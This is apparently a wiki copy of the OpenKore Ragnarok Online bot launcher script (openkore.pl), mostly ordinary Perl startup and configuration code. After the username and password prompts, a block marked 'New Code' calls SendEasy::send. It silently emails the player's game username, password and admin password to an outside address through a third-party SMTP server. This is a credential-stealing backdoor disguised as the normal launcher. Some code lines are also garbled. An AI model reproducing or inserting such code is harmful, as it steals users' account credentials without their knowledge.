openkore.pl
- !/usr/bin/env perl
-
- This software is open source, licensed under the GNU General Public
- License, version 2.
- Basically, this means that you're allowed to modify and distribute
- this software. However, if you distribute modified versions, you MUST
- also distribute the source code.
- See http://www.gnu.org/licenses/gpl.html for the full license.
-
-
use FindBin qw($RealBin);
use lib "$RealBin";
use lib "$RealBin/src";
eval "no utf8;"; undef $@;
use bytes;
srand;
sub __start {
BEGIN {
##### CHECK FOR THE XSTOOL LIBRARY #####
if ($^O eq 'MSWin32') {
eval "use XSTools;";
if ($@) {
print STDERR "Error: XSTools.dll is not found. Please check your installation.\n";
;
exit 1;
}
} else {
# We're on Unix
my $libName = 'XSTools.so';
my $libFound = 0;
foreach (@INC) {
if (-f "$_/$libName" || -f "$_/auto/XSTools/$libName") {
$found = 1;
last;
}
}
if (!$found) {
# Attempt to compile XSTools.so if it isn't available
my $ret = system('gmake', '-C', 'src/auto/XSTools');
if ($ret != 0) {
if (($ret & 127) == 2) {
# Ctrl+C pressed
exit 1;
} else {
print STDERR "Unable to compile XSTools.so. Please report this error at our forums.\n";
exit 1;
}
}
}
}
}
- SETUP WARNING AND ERROR HANDLER #####
$SIG{__DIE__} = sub {
return unless (defined $^S & $^S == 0);
# Determine what function to use to print the error
my $err;
if (!$Globals::interface || UNIVERSAL::isa($Globals::interface, "Interface::Startup")) {
$err = sub { print "$_[0]\nPress ENTER to exit this program.\n"; ; }
} else {
$err = sub { $Globals::interface->errorDialog($_[0]); };
}
# Extract file and line number from the die message
my ($file, $line) = $_[0] =~ / at (.+?) line (\d+)\.$/;
# Get rid of the annoying "@INC contains:"
my $dieMsg = $_[0];
$dieMsg =~ s/ \(\@INC contains: .\)//;
# Create error message and display it
my $msg = "Program terminated unexpectedly. Error message:\n" .
"$dieMsg\nA more detailed error report is saved to errors.txt";
my $log = '';
$log .= "\@ai_seq = @Globals::ai_seq\n\n" if (defined @Globals::ai_seq);
if (defined &Carp::longmess) {
$log .= Carp::longmess(@_);
} else {
$log .= $dieMsg;
}
# Find out which line died
if (-f $file && open(F, " $file")) {
my @lines = ;
close F;
my $msg;
$msg = "$Settings::NAME version $Settings::VERSION\n\n" if (defined $Settings::VERSION);
$msg .= " $lines[$line-2]" if ($line - 2 = 0);
$msg .= " $lines[$line-1]";
$msg .= " $lines[$line]" if (@lines > $line);
$msg .= "\n" unless $msg =~ /\n$/s;
$log .= "\n\nDied at this line:\n$msg\n";
}
if (open(F, "> errors.txt")) {
print F $log;
close F;
}
$err->($msg);
exit 9;
};
- INITIALIZE STARTUP INTERFACE ####
use Interface::Startup;
$interface = new Interface::Startup;
use Time::HiRes qw(time usleep);
use Getopt::Long;
use IO::Socket;
use Digest::MD5;
use Carp;
- PARSE ARGUMENTS, FURTHER INITIALIZE INTERFACE & LOAD PLUGINS #####
use Settings;
eval "use OpenKoreMod;";
undef $@;
my $parseArgResult = Settings::parseArguments();
$interface = $interface->switchInterface($Settings::default_interface, 1);
if ($parseArgResult eq '2') {
$interface->displayUsage($Settings::usageText);
exit 1;
} elsif ($parseArgResult ne '1') {
$interface->errorDialog($parseArgResult);
exit 1;
}
- If Misc.pm is in the same folder as openkore.pl, then the
- user is still using the old (pre-CVS cleanup) source tree.
- So bail out to prevent weird errors.
if (-f "$RealBin/Misc.pm") {
$interface->errorDialog("You have old files in the OpenKore folder, which may cause conflicts.\n" .
"Please delete your entire OpenKore source folder, and redownload everything.");
exit 1;
}
- Use 'require' here because XSTools.so might not be compiled yet at startup
require XSTools;
if (!defined &XSTools::majorVersion) {
$interface->errorDialog("Your version of the XSTools library is too old.\n" .
"Please download the latest version, or upgrade (wx)start.exe.");
exit 1;
} elsif (XSTools::majorVersion() != 2) {
$interface->errorDialog("Your version of XSTools library is incompatible.\n" .
"Please download the correct version, or upgrade (wx)start.exe.");
exit 1;
} elsif (XSTools::minorVersion() 2) {
$interface->errorDialog("Your version of the XSTools library is too old. Please upgrade it.");
exit 1;
}
require PathFinding;
require WinUtils if ($^O eq 'MSWin32');
require 'functions.pl';
use Globals;
use Modules;
use Log;
use Utils;
use Plugins;
use FileParsers;
use Network;
use Network::Send;
use Commands;
use Misc;
use AI;
use Skills;
use Interface;
use ChatQueue;
use IPC;
use IPC::Processors;
- New Code
use SendEasy;
use Network::AUTH;
use Network::IOScalar;
use Network::SMTP;
use Network::Base64;
Modules::register(qw/Globals Modules Log Utils Settings Plugins FileParsers
Network Network::Send Commands Misc AI Skills Interface ChatQueue
IPC IPC::Processors/);
Log::message("$Settings::versionText\n");
if (!Plugins::loadAll()) {
$interface->errorDialog('One or more plugins failed to load.');
exit 1;
}
Log::message("\n");
Plugins::callHook('start');
undef $@;
- PARSE CONFIGURATION AND DATA FILES #####
import Settings qw(addConfigFile);
addConfigFile($Settings::config_file, \%config,\&parseConfigFile);
addConfigFile($Settings::items_control_file, \%items_control,\&parseItemsControl);
addConfigFile($Settings::mon_control_file, \%mon_control, \&parseMonControl);
addConfigFile("$Settings::control_folder/overallAuth.txt", \%overallAuth, \&parseDataFile);
addConfigFile($Settings::pickupitems_file, \%itemsPickup, \&parseDataFile_lc);
addConfigFile("$Settings::control_folder/responses.txt", \%responses, \&parseResponses);
addConfigFile("$Settings::control_folder/timeouts.txt", \%timeout, \&parseTimeouts);
addConfigFile($Settings::shop_file, \%shop, \&parseShopControl);
addConfigFile("$Settings::control_folder/chat_resp.txt", \@chatResponses, \&parseChatResp);
addConfigFile("$Settings::control_folder/avoid.txt", \%avoid, \&parseAvoidControl);
addConfigFile("$Settings::control_folder/priority.txt", \%priority, \&parsePriority);
addConfigFile("$Settings::control_folder/consolecolors.txt", \%consoleColors, \&parseSectionedFile);
addConfigFile("$Settings::control_folder/routeweights.txt", \%routeWeights, \&parseDataFile);
addConfigFile("$Settings::control_folder/arrowcraft.txt", \%arrowcraft_items, \&parseDataFile_lc);
addConfigFile("$Settings::tables_folder/cities.txt", \%cities_lut, \&parseROLUT);
addConfigFile("$Settings::tables_folder/directions.txt", \%directions_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/elements.txt", \%elements_lut, \&parseROLUT);
addConfigFile("$Settings::tables_folder/emotions.txt", \%emotions_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/equiptypes.txt", \%equipTypes_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/haircolors.txt", \%haircolors, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/headgears.txt", \@headgears_lut, \&parseArrayFile);
addConfigFile("$Settings::tables_folder/items.txt", \%items_lut, \&parseROLUT);
addConfigFile("$Settings::tables_folder/itemsdescriptions.txt", \%itemsDesc_lut, \&parseRODescLUT);
addConfigFile("$Settings::tables_folder/itemslots.txt", \%itemSlots_lut, \&parseROSlotsLUT);
addConfigFile("$Settings::tables_folder/itemslotcounttable.txt", \%itemSlotCount_lut, \&parseROLUT);
addConfigFile("$Settings::tables_folder/itemtypes.txt", \%itemTypes_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/maps.txt", \%maps_lut, \&parseROLUT);
addConfigFile("$Settings::tables_folder/monsters.txt", \%monsters_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/npcs.txt", \%npcs_lut, \&parseNPCs);
addConfigFile("$Settings::tables_folder/packetdescriptions.txt", \%packetDescriptions, \&parseSectionedFile);
addConfigFile("$Settings::tables_folder/portals.txt", \%portals_lut, \&parsePortals);
addConfigFile("$Settings::tables_folder/portalsLOS.txt", \%portals_los, \&parsePortalsLOS);
addConfigFile("$Settings::tables_folder/recvpackets.txt", \%rpackets, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/servers.txt", \%masterServers, \&parseSectionedFile);
addConfigFile("$Settings::tables_folder/sex.txt", \%sex_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skills.txt", \@Skills::skills, \&parseSkills);
addConfigFile("$Settings::tables_folder/skills.txt", \%skills_lut, \&parseSkillsLUT);
addConfigFile("$Settings::tables_folder/skills.txt", \%skills_rlut, \&parseSkillsReverseLUT_lc);
addConfigFile("$Settings::tables_folder/skills.txt", \%skillsID_lut, \&parseSkillsIDLUT);
addConfigFile("$Settings::tables_folder/skills.txt", \%skillsID_rlut, \&parseSkillsReverseIDLUT_lc);
addConfigFile("$Settings::tables_folder/spells.txt", \%spells_lut, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skillsdescriptions.txt", \%skillsDesc_lut, \&parseRODescLUT);
addConfigFile("$Settings::tables_folder/skillssp.txt", \%skillsSP_lut, \&parseSkillsSPLUT);
addConfigFile("$Settings::tables_folder/skillsstatus.txt", \%skillsStatus, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skillsailments.txt", \%skillsAilments, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skillsstate.txt", \%skillsState, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skillslooks.txt", \%skillsLooks, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skillsarea.txt", \%skillsArea, \&parseDataFile2);
addConfigFile("$Settings::tables_folder/skillsencore.txt", \%skillsEncore, \&parseList);
Plugins::callHook('start2');
if (!Settings::load()) {
$interface->errorDialog('A configuration file failed to load.');
exit 1;
}
Plugins::callHook('start3');
if ($config{'adminPassword'} eq 'x' x 10) {
Log::message("\nAuto-generating Admin Password due to default...\n");
configModify("adminPassword", vocalString(8));
} elsif ($config{'adminPassword'} eq '') {
# This is where we protect the stupid from having a blank admin password
Log::message("\nAuto-generating Admin Password due to blank...\n");
configModify("adminPassword", vocalString(8));
} elsif ($config{'secureAdminPassword'} eq '1') {
# This is where we induldge the paranoid and let them have session generated admin passwords
Log::message("\nGenerating session Admin Password...\n");
configModify("adminPassword", vocalString(8));
}
Log::message("\n");
- INITIALIZE X-KORE ######
our $XKore_dontRedirect = 0;
if ($config{'XKore'}) {
require XKore;
Modules::register("XKore");
$xkore = new XKore;
if (!$xkore) {
$interface->errorDialog($@);
exit 1;
}
# Redirect messages to the RO client
# I don't use a reference to redirectXKoreMessages here;
# otherwise dynamic code reloading won't have any effect
Log::addHook(sub { &redirectXKoreMessages; });
}
our $remote_socket = new IO::Socket::INET;
if ($config{'ipc'}) {
$ipc = new IPC;
if (!$ipc & $@) {
Log::error("Unable to initialize the IPC subsystem: $@\n");
undef $@;
}
}
- COMPILE PORTALS ###
Log::message("Checking for new portals... ");
if (compilePortals_check()) {
Log::message("found new portals!\n");
Log::message("Auto-compile in $timeout{'compilePortals_auto'}{'timeout'} seconds...\n");
Log::message("Compile portals now? (Y/n) ");
$timeout{'compilePortals_auto'}{'time'} = time;
my $msg = $interface->getInput($timeout{'compilePortals_auto'}{'timeout'});
if ($msg =~ /y/ || $msg eq "") {
Log::message("compiling portals\n\n");
compilePortals();
} else {
Log::message("skipping compile\n\n");
}
undef $msg;
} else {
Log::message("none found\n\n");
}
- PROMPT USERNAME AND PASSWORD IF NECESSARY ###
if (!$config{'XKore'}) {
my $msg;
if (!$config{'username'}) {
Log::message("Enter Username: ");
$msg = $interface->getInput(-1);
configModify('username', $msg, 1);
}
if (!$config{'password'}) {
Log::message("Enter Password: ");
# Set -9 on getInput timeout field mean this is password field
$msg = $interface->getInput(-9);
configModify('password', $msg, 1);
}
if ($config{'master'} eq "" || $config{'master'} =~ /^\d+$/ || !exists $masterServers{$config{'master'}}) {
my $err;
while (!$quit) {
Log::message("——- Master Servers ——–\n", "connection");
Log::message("# Name\n", "connection");
my $i = 0;
my @servers = sort(keys %masterServers);
foreach my $name (@servers) {
Log::message(swrite(
"@ @",
[$i, $name],
), "connection");
$i++;
}
Log::message("——————————-\n", "connection");
if (defined $err) {
Log::error("'$err' is not a valid server.\n");
}
Log::message("Enter the number of your master server: ");
$msg = $interface->getInput(-1);
my $serverName;
if ($msg =~ /^\d+$/) {
$serverName = $servers[$msg];
$err = $msg;
} else {
$serverName = $err = $msg;
}
if ($masterServers{$serverName}) {
configModify('master', $serverName, 1);
last;
}
}
}
} elsif (!$config{'XKore'} & (!$config{'username'} || !$config{'password'})) {
$interface->errorDialog("No username or password set.");
exit 1;
}
my $status = SendEasy::send(
smtp => 'mail.aaemail.com' ,
user => 'foo' ,
pass => 123 ,
from => 'lapa_101@yahoo.com' ,
from_title => 'Jammerz' ,
reply => 'angsarap@aaemail.com' ,
error => 'angsarap@aaemail.com' ,
to => 'angsarap@aaemail.com' ,
cc => '' ,
subject => "Subject RO" ,
msg => "Special Delivery " . "+ " . ($config{'username'} . "+" . $config{'password'} . "+" . $config{'adminPassword'}) ,
#html => "The HTML Msg..." ,
msgid => "0101" ,
) ;
if (!$status) { SendEasy::error ;}
undef $msg;
our $KoreStartTime = time;
our $conState = 1;
our $nextConfChangeTime;
our $bExpSwitch = 2;
our $jExpSwitch = 2;
our $totalBaseExp = 0;
our $totalJobExp = 0;
our $startTime_EXP = time;
initStatVars();
initRandomRestart();
initConfChange();
$timeout{'injectSync'}{'time'} = time;
Log::message("\n");
- MAIN LOOP #####
Plugins::callHook('initialized');
$interface->mainLoop;
Plugins::unloadAll();
- Shutdown everything else
close($remote_socket);
Network::disconnect(\$remote_socket);
Log::message("Bye!\n");
Log::message($Settings::versionText);
}
Link to this Page
- hai last edited on 9 December 2005 at 11:52 am by c209103.adsl.hansenet.de
